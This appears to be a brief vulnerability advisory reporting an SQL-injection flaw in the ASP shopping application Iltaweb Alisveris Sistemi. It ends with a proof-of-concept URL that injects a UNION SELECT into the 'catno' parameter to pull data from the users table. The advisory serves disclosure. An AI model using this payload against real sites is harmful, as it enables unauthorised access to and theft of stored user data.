source: http://www.securityfocus.com/bid/31740/info

ASP Indir Iltaweb Alisveris Sistemi is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/urunler.asp?catno=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from users